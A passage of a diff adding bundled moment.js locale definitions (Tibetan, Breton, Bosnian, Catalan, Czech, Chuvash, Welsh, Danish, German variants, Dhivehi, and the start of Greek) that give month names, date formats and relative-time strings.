=== "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "༡", + 2: "༢", + 3: "༣", + 4: "༤", + 5: "༥", + 6: "༦", + 7: "༧", + 8: "༨", + 9: "༩", + 0: "༠" + }, + i = { + "༡": "1", + "༢": "2", + "༣": "3", + "༤": "4", + "༥": "5", + "༦": "6", + "༧": "7", + "༨": "8", + "༩": "9", + "༠": "0" + }; + var n = e.defineLocale("bo", { + months: "ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"), + monthsShort: "ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"), + weekdays: "གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"), + weekdaysShort: "ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"), + weekdaysMin: "ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"), + longDateFormat: { + LT: "A h:mm", + LTS: "A h:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm", + LLLL: "dddd, D MMMM YYYY, A h:mm" + }, + calendar: { + sameDay: "[དི་རིང] LT", + nextDay: "[སང་ཉིན] LT", + nextWeek: "[བདུན་ཕྲག་རྗེས་མ], LT", + lastDay: "[ཁ་སང] LT", + lastWeek: "[བདུན་ཕྲག་མཐའ་མ] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s ལ་", + past: "%s སྔན་ལ", + s: "ལམ་སང", + ss: "%d སྐར་ཆ།", + m: "སྐར་མ་གཅིག", + mm: "%d སྐར་མ", + h: "ཆུ་ཚོད་གཅིག", + hh: "%d ཆུ་ཚོད", + d: "ཉིན་གཅིག", + dd: "%d ཉིན་", + M: "ཟླ་བ་གཅིག", + MM: "%d ཟླ་བ", + y: "ལོ་གཅིག", + yy: "%d ལོ" + }, + preparse: function (e) { + return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "མཚན་མོ" && e >= 4 || t === "ཉིན་གུང" && e < 5 || t === "དགོང་དག") { + return e + 12 + } else { + return e + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "མཚན་མོ" + } else if (e < 10) { + return "ཞོགས་ཀས" + } else if (e < 17) { + return "ཉིན་གུང" + } else if (e < 20) { + return "དགོང་དག" + } else { + return "མཚན་མོ" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i) { + var n = { + mm: "munutenn", + MM: "miz", + dd: "devezh" + }; + return e + " " + r(n[i], e) + } + + function i(e) { + switch (n(e)) { + case 1: + case 3: + case 4: + case 5: + case 9: + return e + " bloaz"; + default: + return e + " vloaz" + } + } + + function n(e) { + if (e > 9) { + return n(e % 10) + } + return e + } + + function r(e, t) { + if (t === 2) { + return a(e) + } + return e + } + + function a(e) { + var t = { + m: "v", + b: "v", + d: "z" + }; + if (t[e.charAt(0)] === undefined) { + return e + } + return t[e.charAt(0)] + e.substring(1) + } + var s = e.defineLocale("br", { + months: "Genver_C'hwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"), + monthsShort: "Gen_C'hwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"), + weekdays: "Sul_Lun_Meurzh_Merc'her_Yaou_Gwener_Sadorn".split("_"), + weekdaysShort: "Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"), + weekdaysMin: "Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "h[e]mm A", + LTS: "h[e]mm:ss A", + L: "DD/MM/YYYY", + LL: "D [a viz] MMMM YYYY", + LLL: "D [a viz] MMMM YYYY h[e]mm A", + LLLL: "dddd, D [a viz] MMMM YYYY h[e]mm A" + }, + calendar: { + sameDay: "[Hiziv da] LT", + nextDay: "[Warc'hoazh da] LT", + nextWeek: "dddd [da] LT", + lastDay: "[Dec'h da] LT", + lastWeek: "dddd [paset da] LT", + sameElse: "L" + }, + relativeTime: { + future: "a-benn %s", + past: "%s 'zo", + s: "un nebeud segondennoù", + ss: "%d eilenn", + m: "ur vunutenn", + mm: t, + h: "un eur", + hh: "%d eur", + d: "un devezh", + dd: t, + M: "ur miz", + MM: t, + y: "ur bloaz", + yy: i + }, + dayOfMonthOrdinalParse: /\d{1,2}(añ|vet)/, + ordinal: function (e) { + var t = e === 1 ? "añ" : "vet"; + return e + t + }, + week: { + dow: 1, + doy: 4 + } + }); + return s + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i) { + var n = e + " "; + switch (i) { + case "ss": + if (e === 1) { + n += "sekunda" + } else if (e === 2 || e === 3 || e === 4) { + n += "sekunde" + } else { + n += "sekundi" + } + return n; + case "m": + return t ? "jedna minuta" : "jedne minute"; + case "mm": + if (e === 1) { + n += "minuta" + } else if (e === 2 || e === 3 || e === 4) { + n += "minute" + } else { + n += "minuta" + } + return n; + case "h": + return t ? "jedan sat" : "jednog sata"; + case "hh": + if (e === 1) { + n += "sat" + } else if (e === 2 || e === 3 || e === 4) { + n += "sata" + } else { + n += "sati" + } + return n; + case "dd": + if (e === 1) { + n += "dan" + } else { + n += "dana" + } + return n; + case "MM": + if (e === 1) { + n += "mjesec" + } else if (e === 2 || e === 3 || e === 4) { + n += "mjeseca" + } else { + n += "mjeseci" + } + return n; + case "yy": + if (e === 1) { + n += "godina" + } else if (e === 2 || e === 3 || e === 4) { + n += "godine" + } else { + n += "godina" + } + return n + } + } + var i = e.defineLocale("bs", { + months: "januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"), + monthsShort: "jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"), + monthsParseExact: true, + weekdays: "nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"), + weekdaysShort: "ned._pon._uto._sri._čet._pet._sub.".split("_"), + weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[danas u] LT", + nextDay: "[sutra u] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[u] [nedjelju] [u] LT"; + case 3: + return "[u] [srijedu] [u] LT"; + case 6: + return "[u] [subotu] [u] LT"; + case 1: + case 2: + case 4: + case 5: + return "[u] dddd [u] LT" + } + }, + lastDay: "[jučer u] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + case 3: + return "[prošlu] dddd [u] LT"; + case 6: + return "[prošle] [subote] [u] LT"; + case 1: + case 2: + case 4: + case 5: + return "[prošli] dddd [u] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "prije %s", + s: "par sekundi", + ss: t, + m: t, + mm: t, + h: t, + hh: t, + d: "dan", + dd: t, + M: "mjesec", + MM: t, + y: "godinu", + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ca", { + months: { + standalone: "gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"), + format: "de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"), + isFormat: /D[oD]?(\s)+MMMM/ + }, + monthsShort: "gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"), + monthsParseExact: true, + weekdays: "diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"), + weekdaysShort: "dg._dl._dt._dc._dj._dv._ds.".split("_"), + weekdaysMin: "dg_dl_dt_dc_dj_dv_ds".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM [de] YYYY", + ll: "D MMM YYYY", + LLL: "D MMMM [de] YYYY [a les] H:mm", + lll: "D MMM YYYY, H:mm", + LLLL: "dddd D MMMM [de] YYYY [a les] H:mm", + llll: "ddd D MMM YYYY, H:mm" + }, + calendar: { + sameDay: function () { + return "[avui a " + (this.hours() !== 1 ? "les" : "la") + "] LT" + }, + nextDay: function () { + return "[demà a " + (this.hours() !== 1 ? "les" : "la") + "] LT" + }, + nextWeek: function () { + return "dddd [a " + (this.hours() !== 1 ? "les" : "la") + "] LT" + }, + lastDay: function () { + return "[ahir a " + (this.hours() !== 1 ? "les" : "la") + "] LT" + }, + lastWeek: function () { + return "[el] dddd [passat a " + (this.hours() !== 1 ? "les" : "la") + "] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "d'aquí %s", + past: "fa %s", + s: "uns segons", + ss: "%d segons", + m: "un minut", + mm: "%d minuts", + h: "una hora", + hh: "%d hores", + d: "un dia", + dd: "%d dies", + M: "un mes", + MM: "%d mesos", + y: "un any", + yy: "%d anys" + }, + dayOfMonthOrdinalParse: /\d{1,2}(r|n|t|è|a)/, + ordinal: function (e, t) { + var i = e === 1 ? "r" : e === 2 ? "n" : e === 3 ? "r" : e === 4 ? "t" : "è"; + if (t === "w" || t === "W") { + i = "a" + } + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"), + i = "led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"); + var n = [/^led/i, /^úno/i, /^bře/i, /^dub/i, /^kvě/i, /^(čvn|červen$|června)/i, /^(čvc|červenec|července)/i, /^srp/i, /^zář/i, /^říj/i, /^lis/i, /^pro/i]; + var r = /^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i; + + function a(e) { + return e > 1 && e < 5 && ~~(e / 10) !== 1 + } + + function s(e, t, i, n) { + var r = e + " "; + switch (i) { + case "s": + return t || n ? "pár sekund" : "pár sekundami"; + case "ss": + if (t || n) { + return r + (a(e) ? "sekundy" : "sekund") + } else { + return r + "sekundami" + } + break; + case "m": + return t ? "minuta" : n ? "minutu" : "minutou"; + case "mm": + if (t || n) { + return r + (a(e) ? "minuty" : "minut") + } else { + return r + "minutami" + } + break; + case "h": + return t ? "hodina" : n ? "hodinu" : "hodinou"; + case "hh": + if (t || n) { + return r + (a(e) ? "hodiny" : "hodin") + } else { + return r + "hodinami" + } + break; + case "d": + return t || n ? "den" : "dnem"; + case "dd": + if (t || n) { + return r + (a(e) ? "dny" : "dní") + } else { + return r + "dny" + } + break; + case "M": + return t || n ? "měsíc" : "měsícem"; + case "MM": + if (t || n) { + return r + (a(e) ? "měsíce" : "měsíců") + } else { + return r + "měsíci" + } + break; + case "y": + return t || n ? "rok" : "rokem"; + case "yy": + if (t || n) { + return r + (a(e) ? "roky" : "let") + } else { + return r + "lety" + } + break + } + } + var o = e.defineLocale("cs", { + months: t, + monthsShort: i, + monthsRegex: r, + monthsShortRegex: r, + monthsStrictRegex: /^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i, + monthsShortStrictRegex: /^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i, + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + weekdays: "neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"), + weekdaysShort: "ne_po_út_st_čt_pá_so".split("_"), + weekdaysMin: "ne_po_út_st_čt_pá_so".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd D. MMMM YYYY H:mm", + l: "D. M. YYYY" + }, + calendar: { + sameDay: "[dnes v] LT", + nextDay: "[zítra v] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[v neděli v] LT"; + case 1: + case 2: + return "[v] dddd [v] LT"; + case 3: + return "[ve středu v] LT"; + case 4: + return "[ve čtvrtek v] LT"; + case 5: + return "[v pátek v] LT"; + case 6: + return "[v sobotu v] LT" + } + }, + lastDay: "[včera v] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + return "[minulou neděli v] LT"; + case 1: + case 2: + return "[minulé] dddd [v] LT"; + case 3: + return "[minulou středu v] LT"; + case 4: + case 5: + return "[minulý] dddd [v] LT"; + case 6: + return "[minulou sobotu v] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "před %s", + s: s, + ss: s, + m: s, + mm: s, + h: s, + hh: s, + d: s, + dd: s, + M: s, + MM: s, + y: s, + yy: s + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return o + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("cv", { + months: "кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"), + monthsShort: "кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"), + weekdays: "вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"), + weekdaysShort: "выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"), + weekdaysMin: "вр_тн_ыт_юн_кҫ_эр_шм".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD-MM-YYYY", + LL: "YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]", + LLL: "YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm", + LLLL: "dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm" + }, + calendar: { + sameDay: "[Паян] LT [сехетре]", + nextDay: "[Ыран] LT [сехетре]", + lastDay: "[Ӗнер] LT [сехетре]", + nextWeek: "[Ҫитес] dddd LT [сехетре]", + lastWeek: "[Иртнӗ] dddd LT [сехетре]", + sameElse: "L" + }, + relativeTime: { + future: function (e) { + var t = /сехет$/i.exec(e) ? "рен" : /ҫул$/i.exec(e) ? "тан" : "ран"; + return e + t + }, + past: "%s каялла", + s: "пӗр-ик ҫеккунт", + ss: "%d ҫеккунт", + m: "пӗр минут", + mm: "%d минут", + h: "пӗр сехет", + hh: "%d сехет", + d: "пӗр кун", + dd: "%d кун", + M: "пӗр уйӑх", + MM: "%d уйӑх", + y: "пӗр ҫул", + yy: "%d ҫул" + }, + dayOfMonthOrdinalParse: /\d{1,2}-мӗш/, + ordinal: "%d-мӗш", + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("cy", { + months: "Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"), + monthsShort: "Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"), + weekdays: "Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"), + weekdaysShort: "Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"), + weekdaysMin: "Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Heddiw am] LT", + nextDay: "[Yfory am] LT", + nextWeek: "dddd [am] LT", + lastDay: "[Ddoe am] LT", + lastWeek: "dddd [diwethaf am] LT", + sameElse: "L" + }, + relativeTime: { + future: "mewn %s", + past: "%s yn ôl", + s: "ychydig eiliadau", + ss: "%d eiliad", + m: "munud", + mm: "%d munud", + h: "awr", + hh: "%d awr", + d: "diwrnod", + dd: "%d diwrnod", + M: "mis", + MM: "%d mis", + y: "blwyddyn", + yy: "%d flynedd" + }, + dayOfMonthOrdinalParse: /\d{1,2}(fed|ain|af|il|ydd|ed|eg)/, + ordinal: function (e) { + var t = e, + i = "", + n = ["", "af", "il", "ydd", "ydd", "ed", "ed", "ed", "fed", "fed", "fed", "eg", "fed", "eg", "eg", "fed", "eg", "eg", "fed", "eg", "fed"]; + if (t > 20) { + if (t === 40 || t === 50 || t === 60 || t === 80 || t === 100) { + i = "fed" + } else { + i = "ain" + } + } else if (t > 0) { + i = n[t] + } + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("da", { + months: "januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"), + monthsShort: "jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"), + weekdays: "søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"), + weekdaysShort: "søn_man_tir_ons_tor_fre_lør".split("_"), + weekdaysMin: "sø_ma_ti_on_to_fr_lø".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY HH:mm", + LLLL: "dddd [d.] D. MMMM YYYY [kl.] HH:mm" + }, + calendar: { + sameDay: "[i dag kl.] LT", + nextDay: "[i morgen kl.] LT", + nextWeek: "på dddd [kl.] LT", + lastDay: "[i går kl.] LT", + lastWeek: "[i] dddd[s kl.] LT", + sameElse: "L" + }, + relativeTime: { + future: "om %s", + past: "%s siden", + s: "få sekunder", + ss: "%d sekunder", + m: "et minut", + mm: "%d minutter", + h: "en time", + hh: "%d timer", + d: "en dag", + dd: "%d dage", + M: "en måned", + MM: "%d måneder", + y: "et år", + yy: "%d år" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = { + m: ["eine Minute", "einer Minute"], + h: ["eine Stunde", "einer Stunde"], + d: ["ein Tag", "einem Tag"], + dd: [e + " Tage", e + " Tagen"], + M: ["ein Monat", "einem Monat"], + MM: [e + " Monate", e + " Monaten"], + y: ["ein Jahr", "einem Jahr"], + yy: [e + " Jahre", e + " Jahren"] + }; + return t ? r[i][0] : r[i][1] + } + var i = e.defineLocale("de", { + months: "Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), + monthsShort: "Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"), + monthsParseExact: true, + weekdays: "Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"), + weekdaysShort: "So._Mo._Di._Mi._Do._Fr._Sa.".split("_"), + weekdaysMin: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY HH:mm", + LLLL: "dddd, D. MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[heute um] LT [Uhr]", + sameElse: "L", + nextDay: "[morgen um] LT [Uhr]", + nextWeek: "dddd [um] LT [Uhr]", + lastDay: "[gestern um] LT [Uhr]", + lastWeek: "[letzten] dddd [um] LT [Uhr]" + }, + relativeTime: { + future: "in %s", + past: "vor %s", + s: "ein paar Sekunden", + ss: "%d Sekunden", + m: t, + mm: "%d Minuten", + h: t, + hh: "%d Stunden", + d: t, + dd: t, + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = { + m: ["eine Minute", "einer Minute"], + h: ["eine Stunde", "einer Stunde"], + d: ["ein Tag", "einem Tag"], + dd: [e + " Tage", e + " Tagen"], + M: ["ein Monat", "einem Monat"], + MM: [e + " Monate", e + " Monaten"], + y: ["ein Jahr", "einem Jahr"], + yy: [e + " Jahre", e + " Jahren"] + }; + return t ? r[i][0] : r[i][1] + } + var i = e.defineLocale("de-at", { + months: "Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), + monthsShort: "Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"), + monthsParseExact: true, + weekdays: "Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"), + weekdaysShort: "So._Mo._Di._Mi._Do._Fr._Sa.".split("_"), + weekdaysMin: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY HH:mm", + LLLL: "dddd, D. MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[heute um] LT [Uhr]", + sameElse: "L", + nextDay: "[morgen um] LT [Uhr]", + nextWeek: "dddd [um] LT [Uhr]", + lastDay: "[gestern um] LT [Uhr]", + lastWeek: "[letzten] dddd [um] LT [Uhr]" + }, + relativeTime: { + future: "in %s", + past: "vor %s", + s: "ein paar Sekunden", + ss: "%d Sekunden", + m: t, + mm: "%d Minuten", + h: t, + hh: "%d Stunden", + d: t, + dd: t, + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = { + m: ["eine Minute", "einer Minute"], + h: ["eine Stunde", "einer Stunde"], + d: ["ein Tag", "einem Tag"], + dd: [e + " Tage", e + " Tagen"], + M: ["ein Monat", "einem Monat"], + MM: [e + " Monate", e + " Monaten"], + y: ["ein Jahr", "einem Jahr"], + yy: [e + " Jahre", e + " Jahren"] + }; + return t ? r[i][0] : r[i][1] + } + var i = e.defineLocale("de-ch", { + months: "Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), + monthsShort: "Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"), + monthsParseExact: true, + weekdays: "Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"), + weekdaysShort: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), + weekdaysMin: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY HH:mm", + LLLL: "dddd, D. MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[heute um] LT [Uhr]", + sameElse: "L", + nextDay: "[morgen um] LT [Uhr]", + nextWeek: "dddd [um] LT [Uhr]", + lastDay: "[gestern um] LT [Uhr]", + lastWeek: "[letzten] dddd [um] LT [Uhr]" + }, + relativeTime: { + future: "in %s", + past: "vor %s", + s: "ein paar Sekunden", + ss: "%d Sekunden", + m: t, + mm: "%d Minuten", + h: t, + hh: "%d Stunden", + d: t, + dd: t, + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = ["ޖެނުއަރީ", "ފެބްރުއަރީ", "މާރިޗު", "އޭޕްރީލު", "މޭ", "ޖޫން", "ޖުލައި", "އޯގަސްޓު", "ސެޕްޓެމްބަރު", "އޮކްޓޯބަރު", "ނޮވެމްބަރު", "ޑިސެމްބަރު"], + i = ["އާދިއްތަ", "ހޯމަ", "އަންގާރަ", "ބުދަ", "ބުރާސްފަތި", "ހުކުރު", "ހޮނިހިރު"]; + var n = e.defineLocale("dv", { + months: t, + monthsShort: t, + weekdays: i, + weekdaysShort: i, + weekdaysMin: "އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "D/M/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + meridiemParse: /މކ|މފ/, + isPM: function (e) { + return "މފ" === e + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "މކ" + } else { + return "މފ" + } + }, + calendar: { + sameDay: "[މިއަދު] LT", + nextDay: "[މާދަމާ] LT", + nextWeek: "dddd LT", + lastDay: "[އިއްޔެ] LT", + lastWeek: "[ފާއިތުވި] dddd LT", + sameElse: "L" + }, + relativeTime: { + future: "ތެރޭގައި %s", + past: "ކުރިން %s", + s: "ސިކުންތުކޮޅެއް", + ss: "d% ސިކުންތު", + m: "މިނިޓެއް", + mm: "މިނިޓު %d", + h: "ގަޑިއިރެއް", + hh: "ގަޑިއިރު %d", + d: "ދުވަހެއް", + dd: "ދުވަސް %d", + M: "މަހެއް", + MM: "މަސް %d", + y: "އަހަރެއް", + yy: "އަހަރު %d" + }, + preparse: function (e) { + return e.replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/,/g, "،") + }, + week: { + dow: 7, + doy: 12 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e) { + return e instanceof Function || Object.prototype.toString.call(e) === "[object Function]" + } + var i = e.defineLocale("el", { + monthsNominativeEl: "Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος".split("_"), + monthsGenitiveEl: "Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου".split("_"), + months: function (e, t) { + if (!e) { + return this._monthsNominativeEl + } else if (typeof t === "string" && /D/.test(t.substring(0, t.indexOf("MMMM")))) { + return this._monthsGenitiveEl[e.month()] + } else { + return 